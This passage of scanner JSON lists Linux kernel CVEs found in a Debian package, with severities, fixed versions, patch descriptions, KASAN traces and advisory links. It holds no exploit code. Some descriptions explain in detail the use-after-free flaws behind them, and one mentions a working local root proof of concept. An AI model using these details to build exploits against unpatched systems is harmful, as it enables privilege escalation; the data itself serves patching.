sctp_outq_flush+0x1603/0x33e0\n sctp_do_sm+0x31c9/0x5d30\n sctp_assoc_bh_rcv+0x392/0x6f0\n sctp_inq_push+0x1db/0x270\n sctp_rcv+0x138d/0x3c10\n\nFix this by fully purging the association outqueue when handling the\nStale Cookie case. This ensures all pending transmit and retransmit\nstate is dropped, and any scheduler cached pointers are invalidated,\nmaking it safe to rebuild stream state during COOKIE_WAIT restart.\n\nUpdating only stream-\u003eout_curr would be insufficient, since queued\nand retransmittable data would still reference the old stream state and\ntrigger later use-after-free in dequeue paths.", "Severity": "HIGH", "CweIDs": [ "CWE-416", "CWE-825" ], "VendorSeverity": { "alma": 3, "amazon": 3, "azure": 2, "oracle-oval": 3, "photon": 4, "redhat": 3, "rocky": 3, "ubuntu": 3 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 8.8 } }, "References": [ "https://access.redhat.com/errata/RHSA-2026:59723", "https://access.redhat.com/errata/RHSA-2026:59737", "https://access.redhat.com/errata/RHSA-2026:59821", "https://access.redhat.com/errata/RHSA-2026:67471", "https://access.redhat.com/security/cve/CVE-2026-52924", "https://bugzilla.redhat.com/2422696", "https://bugzilla.redhat.com/2432681", "https://bugzilla.redhat.com/2466994", "https://bugzilla.redhat.com/2492095", "https://bugzilla.redhat.com/2492112", "https://bugzilla.redhat.com/2492735", "https://bugzilla.redhat.com/2492747", "https://bugzilla.redhat.com/2492770", "https://bugzilla.redhat.com/2502872", "https://bugzilla.redhat.com/2502889", "https://bugzilla.redhat.com/2507290", "https://bugzilla.redhat.com/2507301", "https://bugzilla.redhat.com/2520980", "https://bugzilla.redhat.com/show_bug.cgi?id=2422696", "https://bugzilla.redhat.com/show_bug.cgi?id=2432681", "https://bugzilla.redhat.com/show_bug.cgi?id=2466994", "https://bugzilla.redhat.com/show_bug.cgi?id=2492095", "https://bugzilla.redhat.com/show_bug.cgi?id=2492112", "https://bugzilla.redhat.com/show_bug.cgi?id=2492735", "https://bugzilla.redhat.com/show_bug.cgi?id=2492747", "https://bugzilla.redhat.com/show_bug.cgi?id=2492770", "https://bugzilla.redhat.com/show_bug.cgi?id=2502872", "https://bugzilla.redhat.com/show_bug.cgi?id=2502889", "https://bugzilla.redhat.com/show_bug.cgi?id=2507290", "https://bugzilla.redhat.com/show_bug.cgi?id=2507301", "https://bugzilla.redhat.com/show_bug.cgi?id=2520980", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-68211", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-23003", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-43114", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-52920", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-52924", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53131", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53185", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53268", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64189", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64191", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64276", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64277", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-74581", "https://errata.almalinux.org/9/ALSA-2026-59723.html", "https://errata.rockylinux.org/RLSA-2026:59723", "https://git.kernel.org/linus/e374b22e9b07b72a25909621464ff74096151bfb%20%287.1-rc7%29", "https://git.kernel.org/stable/c/1d4652f677906a64487c13f9ace54b0eb263b5d0", "https://git.kernel.org/stable/c/2afc9e684dc7fecf73db1edc937ebbc47b4b68dc", "https://git.kernel.org/stable/c/3c0741a441a7df7099d7ca6a64a6a0de09c677c8", "https://git.kernel.org/stable/c/83ade59e5da365f4bf8bce72c5a38774202b442f", "https://git.kernel.org/stable/c/84b7a319105db2f917ccdcf502bdc866082b1285", "https://git.kernel.org/stable/c/a6207349e703cfc04756a4d16dec9176135813a5", "https://git.kernel.org/stable/c/e374b22e9b07b72a25909621464ff74096151bfb", "https://git.kernel.org/stable/c/f46e1d1a758878f0d22c4fbbd1bf42bb7165d1e8", "https://linux.oracle.com/cve/CVE-2026-52924.html", "https://linux.oracle.com/errata/ELSA-2026-67471-0.html", "https://lore.kernel.org/linux-cve-announce/2026062431-CVE-2026-52924-9f0b@gregkh/T", "https://nvd.nist.gov/vuln/detail/CVE-2026-52924", "https://security.access.redhat.com/data/csaf/v2/vex/2026/cve-2026-52924.json", "https://ubuntu.com/security/notices/USN-8629-1", "https://ubuntu.com/security/notices/USN-8629-2", "https://ubuntu.com/security/notices/USN-8629-3", "https://ubuntu.com/security/notices/USN-8630-1", "https://ubuntu.com/security/notices/USN-8630-2", "https://ubuntu.com/security/notices/USN-8630-3", "https://ubuntu.com/security/notices/USN-8630-4", "https://ubuntu.com/security/notices/USN-8630-5", "https://ubuntu.com/security/notices/USN-8631-1", "https://ubuntu.com/security/notices/USN-8631-2", "https://ubuntu.com/security/notices/USN-8631-3", "https://ubuntu.com/security/notices/USN-8631-4", "https://ubuntu.com/security/notices/USN-8633-1", "https://ubuntu.com/security/notices/USN-8633-2", "https://ubuntu.com/security/notices/USN-8635-1", "https://ubuntu.com/security/notices/USN-8636-1", "https://ubuntu.com/security/notices/USN-8636-2", "https://ubuntu.com/security/notices/USN-8637-1", "https://ubuntu.com/security/notices/USN-8645-1", "https://ubuntu.com/security/notices/USN-8656-1", "https://ubuntu.com/security/notices/USN-8660-1", "https://ubuntu.com/security/notices/USN-8661-1", "https://ubuntu.com/security/notices/USN-8661-2", "https://ubuntu.com/security/notices/USN-8661-3", "https://ubuntu.com/security/notices/USN-8661-4", "https://ubuntu.com/security/notices/USN-8661-5", "https://ubuntu.com/security/notices/USN-8663-1", "https://ubuntu.com/security/notices/USN-8664-1", "https://ubuntu.com/security/notices/USN-8666-1", "https://ubuntu.com/security/notices/USN-8666-2", "https://ubuntu.com/security/notices/USN-8666-3", "https://ubuntu.com/security/notices/USN-8667-1", "https://ubuntu.com/security/notices/USN-8669-1", "https://ubuntu.com/security/notices/USN-8715-1", "https://ubuntu.com/security/notices/USN-8715-2", "https://ubuntu.com/security/notices/USN-8728-1", "https://ubuntu.com/security/notices/USN-8728-2", "https://ubuntu.com/security/notices/USN-8728-3", "https://www.cve.org/CVERecord?id=CVE-2026-52924" ], "PublishedDate": "2026-06-24T08:16:22.43Z", "LastModifiedDate": "2026-10-19T20:18:47.257Z" }, { "VulnerabilityID": "CVE-2026-52929", "VendorIDs": [ "DLA-4665-1" ], "PkgID": "linux-libc-dev@6.1.162-1", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.1.162-1?arch=amd64\u0026distro=debian-12.13", "UID": "e8cc2780a8743fe9" }, "InstalledVersion": "6.1.162-1", "FixedVersion": "6.1.176-1", "Status": "fixed", "Layer": { "DiffID": "sha256:9d3386a72ce8957db2ae40d5d6ae2e9bd2955de276268a0065f44dd2a28ca8c7" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-52929", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:130841cd3580ccccdf58233575043ec628e7f1d1f9a6edd66f5888dfff8528d8", "Title": "kernel: sctp: stream: fully roll back denied add-stream state", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nsctp: stream: fully roll back denied add-stream state\n\nWhen ADD_OUT_STREAMS is denied, SCTP only shrinks the queued chunks and\nthen lowers outcnt. That leaves removed stream metadata behind, so a\nlater re-add can reuse a stale ext and hit a null-pointer dereference in\nthe scheduler get path.\n\nFix the rollback by tearing down the removed stream state the same way\nother stream resizes do. Unschedule the current scheduler state, drop\nthe removed stream ext state with sctp_stream_outq_migrate(), and then\nreschedule the remaining streams.\n\nThis keeps scheduler-private RR/FC/PRIO lists consistent while fully\nrolling back denied outgoing stream additions.", "Severity": "HIGH", "CweIDs": [ "CWE-476" ], "VendorSeverity": { "alma": 3, "amazon": 3, "azure": 2, "oracle-oval": 3, "photon": 3, "redhat": 3, "rocky": 3, "ubuntu": 2 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7.8 } }, "References": [ "https://access.redhat.com/errata/RHSA-2026:93412", "https://access.redhat.com/errata/RHSA-2026:95212", "https://access.redhat.com/security/cve/CVE-2026-52929", "https://bugzilla.redhat.com/2492108", "https://bugzilla.redhat.com/2507721", "https://bugzilla.redhat.com/2521419", "https://bugzilla.redhat.com/2528646", "https://bugzilla.redhat.com/2528665", "https://bugzilla.redhat.com/2532407", "https://bugzilla.redhat.com/show_bug.cgi?id=2492108", "https://bugzilla.redhat.com/show_bug.cgi?id=2492733", "https://bugzilla.redhat.com/show_bug.cgi?id=2492853", "https://bugzilla.redhat.com/show_bug.cgi?id=2507222", "https://bugzilla.redhat.com/show_bug.cgi?id=2513435", "https://bugzilla.redhat.com/show_bug.cgi?id=2516579", "https://bugzilla.redhat.com/show_bug.cgi?id=2516935", "https://bugzilla.redhat.com/show_bug.cgi?id=2516970", "https://bugzilla.redhat.com/show_bug.cgi?id=2519475", "https://bugzilla.redhat.com/show_bug.cgi?id=2524438", "https://bugzilla.redhat.com/show_bug.cgi?id=2535227", "https://bugzilla.redhat.com/show_bug.cgi?id=2540396", "https://bugzilla.redhat.com/show_bug.cgi?id=2540555", "https://bugzilla.redhat.com/show_bug.cgi?id=2546487", "https://bugzilla.redhat.com/show_bug.cgi?id=2553390", "https://bugzilla.redhat.com/show_bug.cgi?id=2554835", "https://bugzilla.redhat.com/show_bug.cgi?id=2555068", "https://cert-portal.siemens.com/productcert/html/ssa-784472.html", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-52929", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53228", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53270", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64303", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-68169", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-72083", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-74283", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-74510", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-74582", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-80586", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-89603", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-90011", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-93787", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-93827", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-98364", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-98432", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-98466", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-98725", "https://errata.almalinux.org/8/ALSA-2026-95212.html", "https://errata.rockylinux.org/RLSA-2026:93412", "https://git.kernel.org/linus/a5f8a90ac9f77c678a9781c0a464b635e0d63e49%20%287.1%29", "https://git.kernel.org/stable/c/0cd2dc6dce8ca47212cd306ccd52eb315ef3cf85", "https://git.kernel.org/stable/c/1c6773b8c081509dcd5cd2954f2b02c50c00f151", "https://git.kernel.org/stable/c/39dc2b0eb5371a669ebc9ec6072b9184eac95418", "https://git.kernel.org/stable/c/7dd9a42b044aad2dbe037db1c1e2943582485b44", "https://git.kernel.org/stable/c/9662eb0401518f0b4681f10e7fbf688f504f24cf", "https://git.kernel.org/stable/c/a5f8a90ac9f77c678a9781c0a464b635e0d63e49", "https://git.kernel.org/stable/c/a6724b7b812ac8793514a1d5938db5d9d29ae725", "https://git.kernel.org/stable/c/d5ea0b3e261fcb2cfff142675516165244cab1da", "https://linux.oracle.com/cve/CVE-2026-52929.html", "https://linux.oracle.com/errata/ELSA-2026-95212.html", "https://lore.kernel.org/linux-cve-announce/2026062432-CVE-2026-52929-63ee@gregkh/T", "https://nvd.nist.gov/vuln/detail/CVE-2026-52929", "https://ubuntu.com/security/notices/USN-8726-1", "https://ubuntu.com/security/notices/USN-8726-2", "https://ubuntu.com/security/notices/USN-8726-3", "https://ubuntu.com/security/notices/USN-8726-4", "https://ubuntu.com/security/notices/USN-8727-1", "https://ubuntu.com/security/notices/USN-8728-1", "https://ubuntu.com/security/notices/USN-8728-2", "https://ubuntu.com/security/notices/USN-8728-3", "https://ubuntu.com/security/notices/USN-8760-1", "https://ubuntu.com/security/notices/USN-8760-2", "https://ubuntu.com/security/notices/USN-8800-1", "https://ubuntu.com/security/notices/USN-8875-1", "https://ubuntu.com/security/notices/USN-8875-2", "https://ubuntu.com/security/notices/USN-8876-1", "https://ubuntu.com/security/notices/USN-8877-1", "https://ubuntu.com/security/notices/USN-8878-1", "https://ubuntu.com/security/notices/USN-8879-1", "https://ubuntu.com/security/notices/USN-8886-1", "https://ubuntu.com/security/notices/USN-8903-1", "https://ubuntu.com/security/notices/USN-8903-2", "https://ubuntu.com/security/notices/USN-8904-1", "https://ubuntu.com/security/notices/USN-8905-1", "https://ubuntu.com/security/notices/USN-8905-2", "https://ubuntu.com/security/notices/USN-8906-1", "https://ubuntu.com/security/notices/USN-8963-1", "https://www.cve.org/CVERecord?id=CVE-2026-52929" ], "PublishedDate": "2026-06-24T08:16:23.04Z", "LastModifiedDate": "2026-10-19T20:18:47.727Z" }, { "VulnerabilityID": "CVE-2026-52933", "VendorIDs": [ "DLA-4665-1" ], "PkgID": "linux-libc-dev@6.1.162-1", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.1.162-1?arch=amd64\u0026distro=debian-12.13", "UID": "e8cc2780a8743fe9" }, "InstalledVersion": "6.1.162-1", "FixedVersion": "6.1.176-1", "Status": "fixed", "Layer": { "DiffID": "sha256:9d3386a72ce8957db2ae40d5d6ae2e9bd2955de276268a0065f44dd2a28ca8c7" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-52933", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:62703aeb92e3d83cc2ae34c5809a376bc6c7554349a416bf11d3ba2dac0ecaae", "Title": "kernel: io_uring/poll: fix signed comparison in io_poll_get_ownership()", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nio_uring/poll: fix signed comparison in io_poll_get_ownership()\n\nio_poll_get_ownership() uses a signed comparison to check whether\npoll_refs has reached the threshold for the slowpath:\n\n if (unlikely(atomic_read(\u0026req-\u003epoll_refs) \u003e= IO_POLL_REF_BIAS))\n\natomic_read() returns int (signed). When IO_POLL_CANCEL_FLAG\n(BIT(31)) is set in poll_refs, the value becomes negative in\nsigned arithmetic, so the \u003e= 128 comparison always evaluates to\nfalse and the slowpath is never taken.\n\nFix this by casting the atomic_read() result to unsigned int\nbefore the comparison, so that the cancel flag is treated as a\nlarge positive value and correctly triggers the slowpath.", "Severity": "HIGH", "CweIDs": [ "CWE-835", "CWE-190" ], "VendorSeverity": { "alma": 3, "amazon": 3, "azure": 2, "oracle-oval": 3, "photon": 3, "redhat": 3, "rocky": 3, "ubuntu": 3 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7.8 } }, "References": [ "https://access.redhat.com/errata/RHSA-2026:64808", "https://access.redhat.com/security/cve/CVE-2026-52933", "https://bugzilla.redhat.com/2370992", "https://bugzilla.redhat.com/2492097", "https://bugzilla.redhat.com/2492273", "https://bugzilla.redhat.com/2502527", "https://bugzilla.redhat.com/2507061", "https://bugzilla.redhat.com/2507096", "https://bugzilla.redhat.com/2507129", "https://bugzilla.redhat.com/2507287", "https://bugzilla.redhat.com/show_bug.cgi?id=2370992", "https://bugzilla.redhat.com/show_bug.cgi?id=2492097", "https://bugzilla.redhat.com/show_bug.cgi?id=2492273", "https://bugzilla.redhat.com/show_bug.cgi?id=2502527", "https://bugzilla.redhat.com/show_bug.cgi?id=2507061", "https://bugzilla.redhat.com/show_bug.cgi?id=2507096", "https://bugzilla.redhat.com/show_bug.cgi?id=2507129", "https://bugzilla.redhat.com/show_bug.cgi?id=2507287", "https://cert-portal.siemens.com/productcert/html/ssa-019113.html", "https://cert-portal.siemens.com/productcert/html/ssa-457936.html", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-38004", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-52933", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53000", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64136", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64287", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64319", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64320", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64384", "https://errata.almalinux.org/9/ALSA-2026-64808.html", "https://errata.rockylinux.org/RLSA-2026:64808", "https://git.kernel.org/linus/326941b22806cbf2df1fbfe902b7908b368cce42%20%287.1-rc1%29", "https://git.kernel.org/stable/c/326941b22806cbf2df1fbfe902b7908b368cce42", "https://git.kernel.org/stable/c/81bf96b0abbfa4cd47ea32e12596aed3855fb2f3", "https://git.kernel.org/stable/c/c6d191164dc81838d8dbf452a6000f68c558d1ae", "https://git.kernel.org/stable/c/cf522703d4f194991615763697ae25a3f9539763", "https://git.kernel.org/stable/c/ea0697129807d718037f618221037aa0660ee3c5", "https://git.kernel.org/stable/c/fc47043f3d9af3efa407665b47f8378ec691ba18", "https://linux.oracle.com/cve/CVE-2026-52933.html", "https://linux.oracle.com/errata/ELSA-2026-64808-0.html", "https://lore.kernel.org/linux-cve-announce/2026062433-CVE-2026-52933-815c@gregkh/T", "https://nvd.nist.gov/vuln/detail/CVE-2026-52933", "https://ubuntu.com/security/notices/USN-8488-1", "https://ubuntu.com/security/notices/USN-8488-2", "https://ubuntu.com/security/notices/USN-8489-1", "https://ubuntu.com/security/notices/USN-8507-1", "https://ubuntu.com/security/notices/USN-8567-1", "https://ubuntu.com/security/notices/USN-8569-1", "https://ubuntu.com/security/notices/USN-8574-1", "https://ubuntu.com/security/notices/USN-8574-2", "https://ubuntu.com/security/notices/USN-8574-3", "https://ubuntu.com/security/notices/USN-8595-1", "https://ubuntu.com/security/notices/USN-8595-2", "https://ubuntu.com/security/notices/USN-8595-3", "https://ubuntu.com/security/notices/USN-8596-1", "https://ubuntu.com/security/notices/USN-8603-1", "https://ubuntu.com/security/notices/USN-8606-1", "https://ubuntu.com/security/notices/USN-8607-1", "https://ubuntu.com/security/notices/USN-8608-1", "https://ubuntu.com/security/notices/USN-8609-1", "https://ubuntu.com/security/notices/USN-8619-1", "https://ubuntu.com/security/notices/USN-8665-1", "https://ubuntu.com/security/notices/USN-8875-1", "https://ubuntu.com/security/notices/USN-8875-2", "https://ubuntu.com/security/notices/USN-8876-1", "https://ubuntu.com/security/notices/USN-8877-1", "https://ubuntu.com/security/notices/USN-8878-1", "https://ubuntu.com/security/notices/USN-8879-1", "https://ubuntu.com/security/notices/USN-8963-1", "https://www.cve.org/CVERecord?id=CVE-2026-52933" ], "PublishedDate": "2026-06-24T08:16:23.48Z", "LastModifiedDate": "2026-10-19T20:18:48.103Z" }, { "VulnerabilityID": "CVE-2026-52943", "VendorIDs": [ "DLA-4665-1" ], "PkgID": "linux-libc-dev@6.1.162-1", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.1.162-1?arch=amd64\u0026distro=debian-12.13", "UID": "e8cc2780a8743fe9" }, "InstalledVersion": "6.1.162-1", "FixedVersion": "6.1.176-1", "Status": "fixed", "Layer": { "DiffID": "sha256:9d3386a72ce8957db2ae40d5d6ae2e9bd2955de276268a0065f44dd2a28ca8c7" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-52943", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:71f35515417e0a2449b37a7e0525e7e1689e75899c07f7ac9000126a78a3aeb9", "Title": "kernel: net: skbuff: fix missing zerocopy reference in pskb_carve helpers", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nnet: skbuff: fix missing zerocopy reference in pskb_carve helpers\n\npskb_carve_inside_header() and pskb_carve_inside_nonlinear() both copy\nthe old skb_shared_info header into a new buffer via memcpy(), which\nincludes the destructor_arg pointer (uarg) for MSG_ZEROCOPY skbs.\nNeither function calls net_zcopy_get() for the new shinfo, creating an\nunaccounted holder: every skb_shared_info with destructor_arg set will\ncall skb_zcopy_clear() once when freed, but the corresponding\nnet_zcopy_get() was never called for the new copy. Repeated calls\ndrive uarg-\u003erefcnt to zero prematurely, freeing ubuf_info_msgzc while\nTX skbs still hold live destructor_arg pointers.\n\nKASAN reports use-after-free on a freed ubuf_info_msgzc:\n\n BUG: KASAN: slab-use-after-free in skb_release_data+0x77b/0x810\n Read of size 8 at addr ffff88801574d3e8 by task poc/220\n\n Call Trace:\n skb_release_data+0x77b/0x810\n kfree_skb_list_reason+0x13e/0x610\n skb_release_data+0x4cd/0x810\n sk_skb_reason_drop+0xf3/0x340\n skb_queue_purge_reason+0x282/0x440\n rds_tcp_inc_free+0x1e/0x30\n rds_recvmsg+0x354/0x1780\n __sys_recvmsg+0xdf/0x180\n\n Allocated by task 219:\n msg_zerocopy_realloc+0x157/0x7b0\n tcp_sendmsg_locked+0x2892/0x3ba0\n\n Freed by task 219:\n ip_recv_error+0x74a/0xb10\n tcp_recvmsg+0x475/0x530\n\nThe skb consuming the late access still referenced the same uarg via\nshinfo-\u003edestructor_arg copied by pskb_carve_inside_nonlinear() without\na refcount bump. This has been verified to be reliably exploitable: a\nworking proof-of-concept achieves full root privilege escalation from\nan unprivileged local user on a default kernel configuration.\n\nThe fix follows the pattern of pskb_expand_head() which has the same\nmemcpy/cloned structure. For pskb_carve_inside_header(), net_zcopy_get()\nis placed after skb_orphan_frags() succeeds, so the orphan error path\nneeds no cleanup. For pskb_carve_inside_nonlinear(), net_zcopy_get() is\nplaced after all failure points and just before skb_release_data(), so\nno error path needs cleanup at all -- matching pskb_expand_head() more\nclosely and avoiding the need for a balancing net_zcopy_put().", "Severity": "HIGH", "CweIDs": [ "CWE-416", "CWE-911" ], "VendorSeverity": { "amazon": 3, "azure": 3, "oracle-oval": 3, "photon": 3, "redhat": 3, "ubuntu": 3 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7.8 } }, "References": [ "https://access.redhat.com/security/cve/CVE-2026-52943", "https://bugzilla.redhat.com/show_bug.cgi?id=2492137", "https://cert-portal.siemens.com/productcert/html/ssa-019113.html", "https://cert-portal.siemens.com/productcert/html/ssa-457936.html", "https://cert-portal.siemens.com/productcert/html/ssa-784472.html", "https://git.kernel.org/linus/98d0912e9f841e5529a5b89a972805f34cb1c69d%20%287.1-rc6%29", "https://git.kernel.org/stable/c/2e0e74c59b2761a414d9f48d7bee1e45220b2427", "https://git.kernel.org/stable/c/474d6c771d798bca84f0a140b611e36743511e18", "https://git.kernel.org/stable/c/8dbed691e43a50903658130bde0fcb5abc425b37", "https://git.kernel.org/stable/c/96a4713ae041cc85e712bac682cd2e644004d6c6", "https://git.kernel.org/stable/c/98d0912e9f841e5529a5b89a972805f34cb1c69d", "https://git.kernel.org/stable/c/9b40bdc2a3298225dffab8158208a0d8c6300578", "https://git.kernel.org/stable/c/ceafb893b12f23331dcc5ff9587e643c3a40ee9f", "https://git.kernel.org/stable/c/fd470f0a97b8e9a125f520265d2f3b088ffb5b8a", "https://linux.oracle.com/cve/CVE-2026-52943.html", "https://linux.oracle.com/errata/ELSA-2026-50374.html", "https://lore.kernel.org/linux-cve-announce/2026062406-CVE-2026-52943-88f7@gregkh/T", "https://nvd.nist.gov/vuln/detail/CVE-2026-52943", "https://security.access.redhat.com/data/csaf/v2/vex/2026/cve-2026-52943.json", "https://ubuntu.com/security/notices/USN-8566-1", "https://ubuntu.com/security/notices/USN-8568-1", "https://ubuntu.com/security/notices/USN-8569-1", "https://ubuntu.com/security/notices/USN-8593-1", "https://ubuntu.com/security/notices/USN-8603-1", "https://ubuntu.com/security/notices/USN-8618-1", "https://ubuntu.com/security/notices/USN-8663-1", "https://ubuntu.com/security/notices/USN-8664-1", "https://ubuntu.com/security/notices/USN-8728-1", "https://ubuntu.com/security/notices/USN-8728-2", "https://ubuntu.com/security/notices/USN-8728-3", "https://ubuntu.com/security/notices/USN-8875-1", "https://ubuntu.com/security/notices/USN-8875-2", "https://ubuntu.com/security/notices/USN-8876-1", "https://ubuntu.com/security/notices/USN-8877-1", "https://ubuntu.com/security/notices/USN-8878-1", "https://ubuntu.com/security/notices/USN-8879-1", "https://ubuntu.com/security/notices/USN-8886-1", "https://ubuntu.com/security/notices/USN-8903-1", "https://ubuntu.com/security/notices/USN-8903-2", "https://ubuntu.com/security/notices/USN-8904-1", "https://ubuntu.com/security/notices/USN-8905-1", "https://ubuntu.com/security/notices/USN-8905-2", "https://ubuntu.com/security/notices/USN-8906-1", "https://ubuntu.com/security/notices/USN-8963-1", "https://www.cve.org/CVERecord?id=CVE-2026-52943" ], "PublishedDate": "2026-06-24T10:17:19.293Z", "LastModifiedDate": "2026-10-19T20:18:48.707Z" }, { "VulnerabilityID": "CVE-2026-52962", "VendorIDs": [ "DLA-4665-1" ], "PkgID": "linux-libc-dev@6.1.162-1", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.1.162-1?arch=amd64\u0026distro=debian-12.13", "UID": "e8cc2780a8743fe9" }, "InstalledVersion": "6.1.162-1", "FixedVersion": "6.1.176-1", "Status": "fixed", "Layer": { "DiffID": "sha256:9d3386a72ce8957db2ae40d5d6ae2e9bd2955de276268a0065f44dd2a28ca8c7" }, "SeveritySource": "nvd", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-52962", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:a48519812abce4275ef18ce26641e93de07dbe8da17fb42b0edca3b0266b3863", "Title": "kernel: ceph: fix a buffer leak in __ceph_setxattr()", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nceph: fix a buffer leak in __ceph_setxattr()\n\nThe old_blob in __ceph_setxattr() can store\nci-\u003ei_xattrs.prealloc_blob value during the retry.\nHowever, it is never called the ceph_buffer_put()\nfor the old_blob object. This patch fixes the issue of\nthe buffer leak.", "Severity": "HIGH", "CweIDs": [ "CWE-787" ], "VendorSeverity": { "amazon": 3, "azure": 2, "nvd": 3, "photon": 3, "redhat": 1, "ubuntu": 2 }, "CVSS": { "nvd": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7.8 }, "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H", "V3Score": 5.5 } }, "References": [ "https://access.redhat.com/security/cve/CVE-2026-52962", "https://git.kernel.org/linus/5d3cc36b4e77a27ce7b686b7c59c7072bcb3fa8e%20%287.1-rc4%29", "https://git.kernel.org/stable/c/3fa13ceefbc5f36131110342743994cb3de80637", "https://git.kernel.org/stable/c/4bfdcefdaa6092a06cacd59389c7756b36e6de8c", "https://git.kernel.org/stable/c/521e5aba857fd267624892c8dd6295f22ce0267e", "https://git.kernel.org/stable/c/5d3cc36b4e77a27ce7b686b7c59c7072bcb3fa8e", "https://git.kernel.org/stable/c/7d3e8d2d648d5f0df29b4710246680f47695fe94", "https://git.kernel.org/stable/c/bc7abce4460e490dcb579eec770f175b150b685f", "https://git.kernel.org/stable/c/d0cb994605c84a159c1d00d72cdc8583c321ef95", "https://git.kernel.org/stable/c/ecf94823c5c6a20790bb76ed2816822b0beb0c22", "https://linux.oracle.com/cve/CVE-2026-52962.html", "https://linux.oracle.com/errata/ELBA-2026-500163.html", "https://lore.kernel.org/linux-cve-announce/2026062437-CVE-2026-52962-69b4@gregkh/T", "https://nvd.nist.gov/vuln/detail/CVE-2026-52962", "https://ubuntu.com/security/notices/USN-8566-1", "https://ubuntu.com/security/notices/USN-8567-1", "https://ubuntu.com/security/notices/USN-8568-1", "https://ubuntu.com/security/notices/USN-8569-1", "https://ubuntu.com/security/notices/USN-8574-1", "https://ubuntu.com/security/notices/USN-8574-2", "https://ubuntu.com/security/notices/USN-8574-3", "https://ubuntu.com/security/notices/USN-8575-1", "https://ubuntu.com/security/notices/USN-8575-2", "https://ubuntu.com/security/notices/USN-8575-3", "https://ubuntu.com/security/notices/USN-8576-1", "https://ubuntu.com/security/notices/USN-8576-2", "https://ubuntu.com/security/notices/USN-8593-1", 